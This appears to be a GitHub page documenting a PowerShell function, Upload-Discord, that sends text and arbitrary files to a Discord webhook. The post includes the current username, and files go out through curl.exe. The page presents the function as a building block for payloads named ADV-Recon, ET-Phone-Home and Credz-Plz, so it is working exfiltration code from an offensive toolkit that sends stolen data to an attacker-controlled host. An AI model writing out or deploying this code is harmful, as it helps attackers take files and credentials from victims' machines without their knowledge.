Skip to content

Latest commit

 

History

History
139 lines (100 loc) · 3.73 KB

Discord-Upload.md

File metadata and controls

139 lines (100 loc) · 3.73 KB

Logo

Table of Contents
  1. Description
  2. The Function
  3. Examples
  4. Contact
  5. Acknowledgments

Discord-Upload

C#
YouTube Tutorial

Description

This function is used to upload either text or other files to your discord via a webhook

The Functions

[Upload-Discord]

This function is used to upload files to your discord.

Just replace $hookurl with YOUR discord webhook

Now you can use either of the $text or $file parameter or both

function Upload-Discord {

[CmdletBinding()]
param (
    [parameter(Position=0,Mandatory=$False)]
    [string]$file,
    [parameter(Position=1,Mandatory=$False)]
    [string]$text 
)

$hookurl = 'YOUR-DISCORD-WEBHOOK'

$Body = @{
  'username' = $env:username
  'content' = $text
}

if (-not ([string]::IsNullOrEmpty($text))){
Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl  -Method Post -Body ($Body | ConvertTo-Json)};

if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}
}

[Syntax]

Upload-Discord -file "file.txt" -text "this is a text file"

or

Upload-Discord -file "image.jpg" -text "this is an iamge"

(back to top)

Examples

Listed below are payloads that can use one of these functions:

ADV-Recon

ET-Phone-Home

Credz-Plz

(back to top)

Contact

📱 My Socials 📱

C#
YouTube
Python
Twitter
Golang
Instagram
Jsonnet
Discord

(back to top)

Acknowledgments


HOME-PAGE

(back to top)